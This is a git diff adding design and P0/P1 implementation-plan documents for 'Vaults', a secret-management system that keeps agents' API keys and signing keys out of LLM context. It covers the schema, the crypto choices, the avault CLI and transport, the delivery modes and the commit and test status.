+## 18. Concrete P1 rework of #631 (Avibe-side)
+
+*Added 2026-06-25 after mapping the P0 consumer surface against avault's P1 CLI. This is the build plan for routing Vaults value-crypto through `avault` and retiring the Python crypto path.*
+
+### 18.1 The consumer surface (what touches plaintext today)
+
+Every standard-tier crypto call lives in two modules — and **the long-lived daemon only ever _seals_ (on create); all _decryption_ happens in short-lived `vibe vault …` CLI processes.** That shape matters: the daemon is almost clean already.
+
+| Path | Code | Crypto today | Plaintext destination |
+|---|---|---|---|
+| Create (REST) | `vibe/api.py:create_vault_secret` → `vault_service.create_secret` → `seal_standard` | seal (daemon) | — (stores ciphertext) |
+| Create (CLI) | `cmd_vault_set` → `create_secret` → `seal_standard` | seal | — |
+| Rotate | `vault_service.rotate_secret` → `seal_standard` | seal | — (unused in P0) |
+| Run | `cmd_vault_run` → `resolve` → `subprocess.Popen(env=…)` | open ×N | child env (1 child, N vars) |
+| Export | `cmd_vault_export` → `resolve` → stdout | open ×N | shell (`eval $(…)`) |
+| Inject | `cmd_vault_inject` → `resolve` → `_write_private_file` | open ×N | 0600 config file (dotenv/json/yaml/toml) |
+| Fetch | `cmd_vault_fetch` → `open_secret_value` → `httpx` | open ×1 | outbound HTTP header/query |
+| Key export/import | `cmd_vault_key_*` → `export/import_machine_key` | machine-key wrap | passphrase-wrapped blob |
+
+`machine.key` is read **only** through `vault_crypto`; no other module reads it. REST has **no decrypt endpoint** (list/create/delete/audit only). `is_valid_secret_name` is pure — it stays in Python.
+
+### 18.2 Why this can't be a thin reroute on avault-as-built
+
+Two facts collide:
+
+1. **avault `seal` binds AAD = `name‖scheme‖version`; Python `open_standard` uses no AAD.** avault can read old no-AAD P0 blobs (its `open` has a no-AAD fallback), but **Python cannot read avault's new AAD blobs.** So the moment `create/set` routes to `avault seal`, every new secret is AAD-bound — and any *open* path still on Python breaks for those secrets.
+2. **avault's P1 CLI delivery surface is incomplete for Avibe's needs:** `deliver run` is **single-secret → single child env var** (verified: `parse_deliver_run_options` takes one `--name`/`--env`, one envelope); `deliver fetch` and `deliver inject` are explicit **P2 stubs** (`bail!("…P2 stub…")`); there is no `export`/stdout mode.
+
+Together: you **cannot partially migrate**. Routing `seal` to avault forces *all* opens to avault (AAD), but avault can't yet cover multi-secret `run`, `fetch`, `export`, or `inject`. **So the Avibe rework is gated on an avault `P1.1` that completes the delivery surface.**
+
+### 18.3 Prerequisite — avault P1.1 (complete the deliver surface)
+
+In the avault repo, before the Avibe rework:
+
+- **Multi-secret `deliver run`:** accept N `(name, env, envelope)` tuples (envelopes as a JSON array on stdin) → decrypt all → spawn **one** child with all env vars → exit code. (`run --env A --env B` needs one child with both.)
+- **`deliver fetch`:** perform the brokered HTTP request in Rust (egress with the secret in header/bearer/query), return only the response (status + body). Add a small blocking HTTP client (`ureq` + `rustls`) **to `avault-cli` only**; `avault-core` stays pure.
+- **`deliver export`:** write `export NAME=value` lines to **inherited stdout** (value reaches the user's shell, never Avibe — Avibe execs avault with stdout inherited, does not capture).
+- **`deliver inject`:** render a 0600 file — dotenv + json natively (serde_json already present); yaml/toml may defer to P2.
+
+All keep the invariant: plaintext flows only *into* avault; out comes an exit code / response / a written delivery target — never a value returned to Python.
+
+### 18.4 The Avibe rework (after P1.1)
+
+- **`vault_service.create_secret` / `rotate_secret`** → spawn `avault seal --name <N>`, value on **stdin** (the daemon's transient POST plaintext piped straight through; never logged/persisted), parse `{ciphertext,nonce,wrap_meta}`, store. **Removes the daemon's only crypto + its only `machine.key` read.**
+- **`cmd_vault_run`** → `avault deliver run` (multi-secret); envelopes from the DB on stdin. Drop `resolve()` + `Popen` here.
+- **`cmd_vault_export` / `cmd_vault_inject`** → `avault deliver export|inject`.
+- **`cmd_vault_fetch`** → `avault deliver fetch` (policy/host-allowlist check stays in Python *before* the call).
+- **`cmd_vault_key_export|import`** → `avault key export|import`.
+- **Delete** `seal_standard` / `open_standard` / `get_machine_key` / `export/import_machine_key` from `vault_crypto.py` (keep `is_valid_secret_name` and the `Sealed` shape for DB I/O). `resolve` / `open_secret_value` become DB-row readers that hand envelopes to avault, not decryptors.
+- **No data migration:** avault reads old P0 (no-AAD fallback) and new (AAD) blobs alike; existing secrets keep working untouched. Optional lazy re-seal-to-AAD on next rotate.
+- **Audit / usage / policy / DB / `$<NAME>` / approval** — unchanged, Python-owned. `record_deliveries` / `record_proxy_use` still fire after avault returns success.
+
+End state: **Python performs no cryptography and never reads `machine.key`.** avault owns the key and all value crypto.
+
+### 18.5 Mechanics
+
+- Resolve the binary via the already-plumbed `_resolve_avault_cli_path()` (commit e7d235f6) / `agents.avault.cli_path`.
+- Control args via argv; **values + envelopes via stdin**; results via **stdout JSON** / exit code. Keep blobs out of argv (no `ps` leak).
+- Map avault non-zero exits → the existing `VaultServiceError` family so REST/CLI error behavior is preserved.
+- Hermetic tests (isolated `VIBE_REMOTE_HOME`, never real `~/.avibe`): a real built `avault` on PATH drives end-to-end seal→deliver round-trips, incl. reading a pre-seeded P0 (no-AAD) blob; unit tests stub the subprocess.
+
+### 18.6 The one decision
+
+- **(A) All-in (recommended):** land avault P1.1 (§18.3), then migrate every path (§18.4). Clean final form, AAD everywhere, Python crypto fully gone, no mixed-reader fragility, no data migration. Cost: avault P1.1 first (notably an HTTP client in `avault-cli` for `fetch`).
+- **(B) No-AAD wire-compat (incremental):** make avault P1 `seal` write **P0-identical no-AAD** blobs (a `--p0-compat` mode) so avault and Python interoperate on the same blobs; migrate command-by-command; add AAD + retire Python in P2. Cheaper to start, but defers AAD (anti-transplant) and runs a two-reader window.
+
+**Decided: (A) all-in — 2026-06-25.** Land avault P1.1 (§18.3) first, then migrate every path (§18.4); Python crypto is removed entirely. This pulls `deliver fetch`/`inject` forward from P2 (§15) into the P1.1 prerequisite. Sequence: PR#1 (core) merge → PR#2 (CI) merge → avault P1.1 (complete deliver surface) → avibe #631 rework.
+
+---
+
+## Appendix A — relationship to `vt`
+
+**Borrow (the ≈1.1k-LOC pure core ideas):** `AesGcmCrypto`, `derive_dek` (HKDF), the AEAD-with-AAD discipline, the v2 envelope + **DEK-release** protocol, `AuthCache`'s rigor (as our grant cache), and the zeroize discipline throughout.
+
+**Don't inherit (the ≈3.6k-LOC macOS shell):** the Keychain-only store, the SSH-agent user surface, FIDO2 enrollment, TOTP, the remote-sudo PAM path, the `VT_AUTH` shared-token channel, and the legacy `vt://mac` format.
+
+**Build fresh for us:** cross-platform store (`file+mlock` → keychain/SE/TPM/KMS), per-record standard/protected policy, `SO_PEERCRED` daemon authorization, scope-typed grants fed by UI/IM approval, the `name+scheme+version` AAD aligned to our columns, a secp256k1 signer, and the browser-sign path for protected ETH keys.
+
+Net: `vt` proves the model and donates the crypto shapes; `avault` is the clean, cross-platform, agent-shaped custody core those shapes belong in.
+
+---
+
+## Appendix B — cryptographic primitives (review reference)
+
+Concrete, implementation-ready values for every step.
+
+| Step | Primitive / parameters |
+|---|---|
+| Symmetric AEAD | AES-256-GCM · 96-bit nonce · 128-bit tag |
+| DEK / master / VMK | 256-bit, CSPRNG |
+| DEK wrap | AES-256-GCM key-wrap (under master key or VMK) |
+| AAD binding | `name ‖ scheme ‖ version` |
+| Blind-box sealing | HPKE (RFC 9180) · DHKEM-X25519-HKDF-SHA256 · AES-256-GCM → `{enc, ct‖tag}` |
+| Password KDF | scrypt `N=2^15, r=8, p=1` → 256-bit KEK |
+| Passkey factor | WebAuthn PRF extension (CTAP2 `hmac-secret`) → 32 B → KEK |
+| Signing | ECDSA / secp256k1 · EIP-155 / EIP-1559 · keccak256 digest |
+| Browser libs | `@noble/curves`, `@noble/hashes`, WebCrypto |
+| Rust libs | `aes-gcm`, `hkdf`, `hpke`, `x25519-dalek`, `k256`, `zeroize`, `subtle` |
+| Resident-agent auth | `SO_PEERCRED` (Linux) / `LOCAL_PEERCRED` (macOS) on the unix socket |
+| Memory hardening | `mlock(2)` · `prctl(PR_SET_DUMPABLE, 0)` · `madvise(MADV_DONTDUMP)` |
+| At-rest storage | SQLite, base64 text columns (`ciphertext` / `nonce` / `wrap_meta`) |
+
+These are starting recommendations, not frozen choices — items #2 (envelope) and #5 (pubkey trust) in §16 may still move them.
+
+---
+
+## Appendix C — avault interface & transport
+
+### Minimal interface
+
+`avault` exposes a deliberately narrow verb set. The defining property: **there is no `decrypt → plaintext` verb.** Plaintext only goes _in_ (sealed); it can only be *delivered* or *signed*, never returned to the caller.
+
+| Verb | Input | Output | Purpose |
+|---|---|---|---|
+| `pubkey` | — | X25519 public key + fingerprint | the browser fetches this before sealing a blind box (protected tier must pin / attest it) |
+| `seal` | blind box (the value) + name/scheme | envelope `{ciphertext, nonce, wrap_meta}` | standard-tier create: open box → wrap DEK under master → return ciphertext (never plaintext) |
+| `deliver` | envelope + mode (`run` / `fetch` / `inject`) + *optional* DEK blind box | exit code / response body | decrypt and deliver. No DEK ⇒ standard tier (master key); with DEK ⇒ protected tier (browser-released DEK) |
+| `sign` | key envelope + digest/tx + *optional* DEK blind box | signature (public) | standard-tier signing (secp256k1); the private key never leaves `avault` |
+| `key export` / `key import` | passphrase (stdin) | encrypted backup / ok | back up, migrate, restore the master key |
+
+The resident agent (P2) adds `grant` / `release`: cache a scope's DEK-set for a TTL so repeated uses in-window skip re-unlock. Standard-tier signing of an ETH key is `sign`; protected-tier ETH signing happens entirely in the browser and never reaches this interface.
+
+### Transport
+
+Two modes, the same integration touchpoints as `askill`. **Both channels carry only names, blind boxes, ciphertext, and results — never plaintext or keys.**
+
+- **P1 — CLI subprocess (askill-shaped).** Avibe spawns the `avault` binary. Control args via argv/JSON; **bulk blobs (blind boxes, ciphertext) via stdin** (kept out of argv so they don't show in `ps`); results via **stdout JSON**. The `run` child inherits stdio. One-shot: use the key, zeroize, exit.
+- **P2 — resident agent (unix socket).** `avault agent` listens on `~/.avibe/run/avault.sock` (0600) and exchanges **length-prefixed JSON frames**. Authorization is **`SO_PEERCRED` (Linux) / `LOCAL_PEERCRED` (macOS)**: `avault` reads the connecting peer's uid/pid to confirm it is the same-user Avibe daemon — **no shared token**, so no decrypt-authorizing secret is re-introduced into Python. The agent is resident so it can hold the grant DEK-cache and act as the signing oracle (keys held across calls).
+
+### Where avault's own keys live (esp. Linux without a Keychain)
+
+- **The X25519 receiver keypair is ephemeral and in-memory.** It is only used to open blind boxes, so it is generated at agent start (or per CLI invocation) and **never written to disk**. The public key is published on demand; the protected tier pins/attests the *current* public key (re-pin on agent restart). This leaves **only the master key** needing durable secure storage.
+- **Master-key store on Linux (strongest available wins):**
+ - **TPM 2.0** (present on most Linux hosts) — seal the master key to the TPM; the wrapping key never leaves the chip, optionally bound to PCRs/policy. This is the Linux analog of Keychain/Secure Enclave.
+ - **systemd-creds / kernel keyring** — unseal at service start (via TPM or a host key) into non-swappable kernel memory; good for headless services.
+ - **`file (0600) + mlock`** (the no-hardware floor) — owned by the service user, kept out of swap and coredumps.
+- **Honest floor:** with no hardware root and no operator factor, the master key's at-rest protection reduces to the **OS user account** (the fundamental law again). `file+mlock` is plaintext-at-rest: it resists other users / remote / a stolen disk (with full-disk encryption), but not an attacker already running as your uid. Optional hardening: wrap the master key under a **boot-time passphrase KEK** or a **cloud KMS KEK** (stronger at rest, at the cost of headless start or a network + bootstrap credential). And note: the **protected tier stores nothing decryptable on the box at all** — for high-value secrets, that side-steps the Linux at-rest question entirely.
+
+### Authentication — who may call avault
+
+- **Other users / remote: refused.** The socket is `0600`, owned by the service user; `avault` checks the kernel-supplied peer **uid** (`SO_PEERCRED`/`LOCAL_PEERCRED`, unforgeable) and accepts only its own uid. There is no network listener. The P1 CLI is `fork`/`exec`-ed directly by the daemon, so there is no "someone else connects" surface at all.
+- **Another program running as the *same* user: can call avault — by design.** The standard tier's boundary *is* the OS account: an attacker already running as your uid can read the `file+mlock` master key, `ptrace` the daemon, etc. — so refusing same-uid callers would be security theater.
+- **Why same-uid is still acceptable — three backstops + one root answer:**
+ 1. **Narrow interface** — even a same-uid caller can only `deliver`/`sign` (results); there is no `decrypt → plaintext`.
+ 2. **Full audit** — every call is recorded.
+ 3. **Hardware non-extractability** — with TPM/SE the key can't be exfiltrated; an attacker can at most *coerce a use* (which is audited), not steal the key.
+ 4. **Root answer = the protected tier** — `avault` has no VMK and cannot decrypt without a browser-released DEK, so for high-value secrets "who can call avault" stops mattering; the cryptography enforces it.
diff --git a/docs/plans/vaults-p0-implementation.md b/docs/plans/vaults-p0-implementation.md
new file mode 100644
index 000000000..f73b0e56f
--- /dev/null
+++ b/docs/plans/vaults-p0-implementation.md
@@ -0,0 +1,325 @@
+# Vaults — P0 implementation plan
+
+Companion to `vaults.md` (the design spec, v7). This is the **buildable P0
+checklist**: scope, final DDL, module layout, commit order, tests. No code yet.
+Date: 2026-06-21.
+
+## 1. P0 scope
+
+**In (the useful core — "secrets out of context for the common case"):**
+
+- Data model: all tables created at **final shape** (architecture frozen, R2) —
+ but P0 only *exercises* the standard-tier subset.
+- **Standard tier only**: machine-key envelope (file mode, §7.2). No password /
+ passkey / VMK / browser-side decryption yet.
+- Vaults page **CRUD** (create/list/rotate/delete; masked reads via the #555
+ `secretFields.ts` patterns) + groups/tags.
+- Delivery **M1 `run`** (child env) + **M4 `fetch`** (brokered proxy, domain-bound).
+ `export`/`inject` shipped but **help-only** (not in agent-facing guidance, R4).
+- **Dynamic ask** `$<NAME>` → inline SecureInputCard (web) / deep link (IM) →
+ `provision` request → name-only wake-up.
+- `vault_audit` + audit tab.
+- `vibe data query` **table denylist** for `vault_secrets` (new mechanism).
+
+**Out (P1+, but the schema already has room — no migration later):**
+
+- Protected tier: VMK, Argon2id password, passkey PRF, browser-side decryption.
+- Scope-typed **grants** (`vault_grants` table created but unused in P0).
+- Inline **ApprovalCard** + `message.updated` SSE.
+- Outbound **redaction** filter.
+- Skills `secrets:` frontmatter (askill change) + per-skill view.
+- OS keychain mode + `key export/import`.
+- **1Password import**.
+- **Signers** (`local` iframe → `external` WalletConnect → `mpc`).
+- Transparent proxy; config-secret migration.
+
+Rationale: P0 proves the plumbing end-to-end (table → service → UDS → CLI → UI →
+dynamic ask) on the *simpler* daemon-side machine-key path, before layering the
+crypto-heavy protected/grant/signer machinery. Everything P0 ships is forward-
+compatible with the frozen architecture.
+
+## 2. Final DDL (all tables; P0 uses the standard-tier subset)
+
+`storage/models.py` (imperative `Table`, matching the existing style) + one Alembic
+migration under `storage/alembic/versions/`. `created_at` etc. are ISO strings to
+match existing tables. Note: column is **`group_name`** (not `group`, a SQL
+keyword).
+
+```python
+vault_groups = Table(
+ "vault_groups", metadata,
+ Column("name", String, primary_key=True), # "default" seeded
+ Column("description", Text),
+ Column("grantable", Boolean, nullable=False, server_default="1"), # P1; auto-false if group holds a keypair
+ Column("max_grant_ttl_seconds", Integer, nullable=False, server_default="900"),
+ Column("created_at", String, nullable=False),
+)
+
+vault_secrets = Table(
+ "vault_secrets", metadata,
+ Column("id", String, primary_key=True),
+ Column("name", String, nullable=False, unique=True), # ^[A-Z][A-Z0-9_]*$
+ Column("group_name", String, ForeignKey("vault_groups.name"), nullable=False, server_default="default"),
+ Column("tags", Text), # JSON array
+ Column("kind", String, nullable=False, server_default="static"), # static | keypair (P2)
+ Column("protection", String, nullable=False, server_default="standard"),# standard (P0) | protected (P1)
+ Column("signer_kind", String), # local|external|mpc:* (P2, keypair only)
+ Column("source", String, nullable=False, server_default="manual"), # manual|imported:1password|op-reference
+ Column("ciphertext", LargeBinary), # AES-256-GCM; null for external/mpc/op-reference
+ Column("nonce", LargeBinary),
+ Column("wrap_meta", Text), # JSON: wrapped-DEK copies + KDF params
+ Column("public_meta", Text), # JSON: desc / pubkey / address / op:// uri
+ Column("policy", Text), # JSON: allowed modes, allowed hosts, always_ask
+ Column("last_used_at", String),
+ Column("use_count", Integer, nullable=False, server_default="0"),
+ Column("created_at", String, nullable=False),
+ Column("updated_at", String, nullable=False),
+)
+
+vault_links = Table( # P1 (skills)
+ "vault_links", metadata,
+ Column("id", String, primary_key=True),
+ Column("secret_name", String, ForeignKey("vault_secrets.name", ondelete="CASCADE"), nullable=False),
+ Column("skill_name", String, nullable=False),
+ Column("source", String, nullable=False), # skill_meta | agent | user
+ Column("required", Boolean, nullable=False, server_default="1"),
+ Column("created_at", String, nullable=False),
+ UniqueConstraint("secret_name", "skill_name", name="uq_vault_link"),
+)
+
+vault_requests = Table( # P0 uses 'provision'; rest P1
+ "vault_requests", metadata,
+ Column("id", String, primary_key=True),
+ Column("request_type", String, nullable=False), # provision|access|sign|proxy|keygen
+ Column("secret_name", String),
+ Column("requester", Text), # JSON: session_id/agent/run
+ Column("delivery", Text), # JSON
+ Column("status", String, nullable=False, server_default="pending"),
+ Column("message_id", String),
+ Column("created_at", String, nullable=False),
+ Column("decided_at", String),
+ Column("expires_at", String),
+)
+
+vault_grants = Table( # created in P0, unused until P1
+ "vault_grants", metadata,
+ Column("id", String, primary_key=True),
+ Column("scope_type", String, nullable=False), # secret | skill | group
+ Column("scope_ref", String, nullable=False),
+ Column("member_snapshot", Text), # JSON: frozen secret set (audit)
+ Column("session_id", String), # null = any-session
+ Column("status", String, nullable=False, server_default="active"), # active|expired|revoked
+ Column("created_by_request_id", String),
+ Column("created_at", String, nullable=False),
+ Column("expires_at", String, nullable=False),
+ Column("revoked_at", String),
+)
+
+vault_audit = Table(
+ "vault_audit", metadata,
+ Column("id", String, primary_key=True),
+ Column("ts", String, nullable=False),
+ Column("event", String, nullable=False), # created/updated/deleted/delivered/denied/...
+ Column("secret_name", String),
+ Column("requester", Text),
+ Column("delivery", Text),
+ Column("request_id", String),
+ Column("grant_id", String),
+)
+```
+
+Vault config (machine-key mode, key-check value; later VMK wraps/KDF params) →
+`state_meta` under `vault:*`.
+
+## 3. Crypto module — `storage/vault_crypto.py`
+
+P0 implements the machine-key path; protected-tier functions are stubbed for P1.
+Primitives from `pyca/cryptography` (already in-tree via web push).
+
+```
+get_or_create_machine_key() -> bytes # 32B os.urandom, ~/.avibe/state/vault/machine.key 0600, lazy
+seal_standard(value: bytes) -> Sealed # DEK=os.urandom(32); ct=AESGCM(DEK).encrypt(value);
+ # wrap_meta={machine: AESGCM(machine_key).encrypt(DEK)}
+open_standard(sealed) -> bytes # unwrap DEK via machine key, decrypt value
+key_check() / verify_machine_key() # detect missing/mismatched key (AES-GCM auth)
+# P1 stubs: vmk_create/wrap_password/wrap_passkey, open_protected, GMK-free grant DEK-set helpers
+```
+
+`Sealed = (ciphertext, nonce, wrap_meta_json)`. Machine-key mode recorded in
+`state_meta`; keychain mode (P1) swaps `get_or_create_machine_key` for `keyring`.
+
+## 4. Backend service — `storage/vault_service.py`
+
+Data layer, sibling to `storage/messages_service.py` etc. (the codebase keeps table
+CRUD in `storage/*_service.py`; `core/services/*` is orchestration). Functions take a
+`Connection`; this module owns the one place that decrypts (`resolve`) and the one
+place that writes audit rows. The daemon UDS layer (§5) opens the engine and calls in.
+
+```
+create_secret(name, value, *, group, tags, protection, policy) # validates name; seal; audit 'created'
+list_secrets(*, group=None, skill=None) -> [masked] # never returns values; masked preview
+rotate_secret(name, new_value) / delete_secret(name)
+resolve(names, *, mode, requester) -> {name: value} # P0: standard only (machine key); audit 'delivered'
+create_provision_request(name, *, reason, skill, requester) -> request
+fulfill_provision(request_id, value, *, protection) # store secret; mark fulfilled; wake-up (name only)
+audit(event, **fields)
+```
+
+## 5. Daemon UDS — deferred to P1 (not needed for standard-tier P0)
+
+**Revised (commit 3).** The original plan routed all value paths through the daemon
+UDS. For the **standard tier** that buys nothing: the machine key is a local file, so
+the CLI reading it is the same trust boundary as the daemon, there is no approval to
+orchestrate, and SQLite WAL handles CLI/daemon concurrency safely. So P0 `vibe vault`
+runs **direct-DB + direct-crypto**, matching sibling CLI commands (session/task/data),
+with no daemon dependency and full local testability.
+
+The daemon UDS path lands in **P1**, where it is genuinely required: protected-tier
+resolve/sign needs the unlock factor (not on disk), approval orchestration (SSE to the
+browser), and in-memory scope-grant DEKs — all owned by the long-running process.
+Planned then: `POST /internal/vault/resolve` (protected → create `access` request,
+block until approved), `POST /internal/vault/sign`, grant endpoints. (The design §7 note
+is refined accordingly: *standard*-tier value ops may be direct-DB; *protected*-tier
+value ops must go through the daemon.)
+
+## 6. CLI — `vibe/cli.py` (argparse `vault` subparser)
+
+```
+vibe vault set NAME [--group G] [--tag t]... [--protected(P1)] --stdin | --from-file f
+vibe vault list [--group G] [--skill S(P1)] [--json]
+vibe vault rm NAME
+vibe vault run --env NAME[,N2] [--env LOCAL=NAME] [--env-skill S(P1)] -- cmd... # M1, promoted
+vibe vault fetch --auth NAME [curl-like args] # M4, promoted
+vibe vault request NAME [--reason s] [--skill s] [--wait s | --no-wait] # dynamic ask
+# help-only (NOT in agent-facing guidance):
+vibe vault export --env NAME[,N2] # M1', eval "$(...)"
+vibe vault inject --keys A,B --out f [--format dotenv|json|yaml|toml] [--ttl 10m] # M2
+```
+
+`set` rejects argv values (shell history / agent context) — `--stdin`/`--from-file`
+only. No `vibe vault get`; no command prints a value.
+
+## 7. Reply enhancer — `core/reply_enhancer.py`
+
+Add `\$<[A-Z][A-Z0-9_]*>` extraction (outside code fences, same guard as mentions)
+→ `EnhancedReply.secret_requests: [name]`. `core/message_dispatcher.py` creates a
+`provision` request per name and renders the marker as a SecureInputCard (web) /
+deep link (IM, per-platform formatter).
+
+## 8. REST + UI
+
+- `vibe/ui_server.py` (FastAPI, async) + `vibe/api.py` wrappers:
+ `GET/POST/DELETE /api/vault/secrets`, `GET /api/vault/audit`,
+ `GET /api/vault/requests`, `POST /api/vault/requests/{id}/fulfill`,
+ `GET/POST /api/vault/groups`. SSE on `/api/events`: `vault.secrets.changed`,
+ `vault.request.new`.
+- UI (`ui/src/`): build out `components/workbench/VaultsPage.tsx` (currently a
+ placeholder) — secret list + group/tag filter + create/rotate/delete using
+ `Input`/`Button`/`Card`/`Dialog`/`Badge` + `lib/secretFields.ts` masking;
+ `context/ApiContext.tsx` vault methods + SSE handlers; `SecureInputCard` rendered
+ from a new branch in the `markdown.tsx`/`ChatPage.tsx` message switch (rewrite
+ `$<NAME>` → `avibe-secret:NAME` link, custom renderer — the `lib/mentions.ts`
+ pattern).
+
+## 9. `vibe data query` denylist — `storage/read_only_query.py`
+
+Today there's no table allowlist/denylist (only the read-only authorizer). Add a
+denied-tables set (`{"vault_secrets"}`) checked in the authorizer callback
+(`SQLITE_READ` action exposes the table name); deny reads of `vault_secrets`
+(ciphertext anyway). `vault_requests`/`vault_links`/`vault_audit`/`vault_grants`
+stay queryable.
+
+## 10. Commit sequence (one branch, atomic commits, one PR at checkpoint)
+
+1. `feat(vault): schema + machine-key crypto + data query denylist`. **[done — 58832ae3]**
+2. `feat(vault): data service` — `storage/vault_service.py` (CRUD + standard-tier
+ resolve + provision + audit). **[done — 7093ad5c]**
+3. `feat(vault): CLI set/list/rm/run/request` — direct-DB + direct-crypto (standard
+ tier; UDS deferred to P1, §5). End-to-end verified: `run` injects to child env with
+ **no stdout leak**. **[done — 2026-06-21]**
+3b. `feat(vault): fetch` — M4 brokered HTTP + domain binding (`set --allow-host` +
+ `--auth-header`/`--auth-query`; secret attached at egress, refused for non-allowed
+ hosts before decrypt; response body passed through, never the secret).
+ **[done — 2026-06-21]**
+3c. `feat(vault): export/inject delivery` — help-only `export` (eval stream) +
+ `inject` (dotenv/json/yaml/toml, 0600 file). **[done — 2026-06-21]**
+4. `feat(vault): REST + Vaults page CRUD` — `/api/vault/*` (api.py + ui_server.py) +
+ `VaultsPage.tsx` (list/add/delete, masked, reuse design-system primitives) +
+ ApiContext methods + i18n. `npm run build` green. **[done — 2026-06-21]**
+ (Live SSE refresh deferred — page refreshes after mutations; audit view = commit 6.)
+5. `feat(vault): dynamic ask` — `reply_enhancer` `$<NAME>` extraction (code-fence-
+ aware) + web `SecretRequestCard` (markdown transform → inline secure-input card that
+ saves to the vault). **[done — 2026-06-21]** Remaining (needs the live pipeline /
+ regression env to verify, deferred): message_dispatcher provision-request row + IM
+ deep-link rendering + name-only auto-wake-up.
+6. `feat(vault): audit tab + polish` — Vaults-page Activity panel (toggle → GET
+ /api/vault/audit), end-to-end P0 smoke. **[done — 2026-06-21]** **P0 COMPLETE.**
+
+## 11. Test plan
+
+- **Unit**: crypto round-trip + wrong-key auth-fail; name regex; `data query`
+ denylist (assert `SELECT * FROM vault_secrets` is denied, others allowed);
+ reply_enhancer `$<NAME>` extraction + fence guard.
+- **CLI**: `set` (stdin) → `run` injects env to child, value absent from stdout;
+ `request --wait` blocks then returns on fulfill.
+- **API**: reads return masked previews, never plaintext; CSRF on mutations.
+- **Scenario** (`tests/scenarios/`): agent emits `$<KEY>` → card → fulfill →
+ name-only wake-up → `vault run` succeeds. Surface a scenario ID.
+- **UI**: `npm run build` (the gate).
+
+## 12. Open defaults to confirm before/with P1
+
+From `vaults.md` §17: per-key grant TTL (5 min) / skill·group (15 min); default
+binding this-session; "until-revoked" at launch?; "Approve once" auto-applies a
+per-key window?; launch with passkey or password-only first; reveal-on-click for
+standard values; ETH preview depth. None block P0.
+
+## 13. P1 / P2 status & gating (post-P0, 2026-06-21)
+
+P0 is complete and verified (commits 1–6). The schema is at final shape, so none of
+the below needs a migration. Status of the rest:
+
+**Headless-verifiable:**
+
+- `vibe vault key export/import` — passphrase-wrapped machine-key blob for backup /
+ migration (§7.2). **[done — 2026-06-21]** Uses Scrypt (zero new dep, ships in
+ `cryptography`; the blob records `kdf` so a later Argon2id variant is forward-
+ compatible — KDF choice for the protected tier is still open Q7).
+- Protected-tier **envelope wire format** (`storage/vault_protected.py`): VMK + password
+ multi-wrap copies + DEK-under-VMK seal/open + the `wrap_meta` v1 schema, as the
+ canonical reference + test vectors the browser mirrors. **[done — 2026-06-21]**
+ Production decryption stays browser-side (§8.4); this module's unwrap is reference/
+ test only and is not wired into any daemon resolve.
+
+**Gated on the Incus regression env (live message pipeline) — built carefully there,
+not landed unverified here:**
+
+- Dynamic-ask dispatcher side: provision-request audit row + per-platform IM
+ deep-link rendering + name-only auto-wake-up (the web ask→save flow already works).
+ This also covers surfacing **CLI-initiated** `vibe vault request` rows in the Web
+ Vaults page (a pending-requests panel + a `/api/vault/requests` endpoint): until then
+ the page exposes only secrets + audit, so a `request --wait` is fulfilled by the user
+ adding a secret of that name (which marks the pending row fulfilled). The `request`
+ CLI message is explicit about this so it isn't misleading.
+- Outbound **redaction** tripwire (§10): the scan/redact function is pure, but wiring it
+ into `core/message_dispatcher.py` (every outbound message) must be regression-verified.
+- Inline **ApprovalCard** + the new `message.updated` SSE (protected-tier approval).
+
+**Gated on a real browser (WebAuthn / WebCrypto / cross-origin iframe):**
+
+- Protected-tier **browser-side decryption** (Argon2 WASM + WebCrypto unwrap; the vault
+ password never reaches the daemon, §8.4) — the locked design is explicitly browser-side.
+- **Passkey PRF** unlock (§7.3).
+- **`local` signer**: cross-origin iframe ETH signer (`@noble/curves` + `viem` +
+ `@scure/bip39`), BIP-39 key ceremony, EIP-155/191/712 decoded approval (§8.3).
+- Scope **grants** (DEK-set cached in daemon memory) end-to-end (browser unlock → grant).
+
+**Gated on external accounts / services:**
+
+- **WalletConnect** (`external` signer) — needs a WalletConnect project id + a real wallet.
+- **MPC providers** (`mpc:*` — Privy / Web3Auth / Turnkey / Lit) — each needs a developer
+ account + cloud; cannot be created/verified in this environment.
+- **1Password import** (§13.5) — needs the `op` CLI signed in / a 1Password account.
+
+These were flagged as out of one-shot headless scope from the start; the design for each
+is locked in `vaults.md` so implementation is unambiguous when the env/accounts exist.
diff --git a/docs/plans/vaults.md b/docs/plans/vaults.md
new file mode 100644
index 000000000..c7b34d10b
--- /dev/null
+++ b/docs/plans/vaults.md
@@ -0,0 +1,600 @@
+# Vaults — secret management for agents
+
+Status: **v7 draft — architecture converged; P0 build plan drafted** (no code yet)
+Owner: Alex + agent session `sestvmy6e5c8e`
+Date: 2026-06-16 (v7, after review round 6 — scope-typed grants)
+
+> **Build plan:** the P0 implementation checklist (final DDL, module layout, commit
+> order, tests) lives in the companion **`vaults-p0-implementation.md`**.
+
+v7 changes (round 6): **grants are now scope-typed** — a grant covers a set of
+secrets defined by its scope: **`secret:NAME` (per-key) · `skill:S` · `group:G`**
+(§9.5). This unifies two requests: a per-key "don't re-ask for N min" grant (the
+smallest standing grant, the default on approve for normal secrets) **and** "unlock
+a skill's secrets together" (a skill-scoped grant — the natural per-task unit).
+Mechanism simplified from v6: drop the per-group `GMK` (it was group-specific and
+couldn't span a skill's cross-group secrets); a grant instead caches the **set of
+unwrapped DEKs** for the covered secrets in daemon memory for the TTL — uniform
+across all three scopes, and tighter (daemon holds only the covered DEKs, never the
+VMK). Note on Q "unify group & vault_link": the two data shapes stay distinct
+(group = 1:1 partition; link = M:N dependency) — the unification is at the **grant**
+layer, not the data model. `vault_grants` gains `scope_type`+`scope_ref` (§4.4).
+
+v6 (round 5): group authorization first cut (per-group GMK) — **superseded by v7's
+scope-typed DEK-set grants**; the bounds/lifecycle/keypair-exclusion/audit all carry
+over.
+
+v5 (round 4): layered auth (VMK + password-always + passkeys-on-top); data model
+settled (flat `name` + `group` + `tags`; skills via `vault_links` relation, no
+multi-container); signer order `local`→`external`(WalletConnect)→`mpc`, `aa`
+dropped; `export`/`inject` de-emphasized (help-only); 1Password import (§13.5).
+
+## 1. Background
+
+Agents constantly need third-party credentials (API keys, tokens, signing keys).
+Today every credential is plaintext: platform tokens and provider keys in
+`~/.avibe/config/config.json` / `state/settings.json`; runtime secrets get pasted
+into chat, hand-written into `.env`, or shell-exported. Whatever enters the
+conversation enters the LLM context — transcripts, IM history, provider logs.
+
+PR #555 added response-side masking + a `secretFields.ts` registry. The UI shell
+already reserves `/vaults` + `VaultsPage.tsx`. Industry hit the same wall in
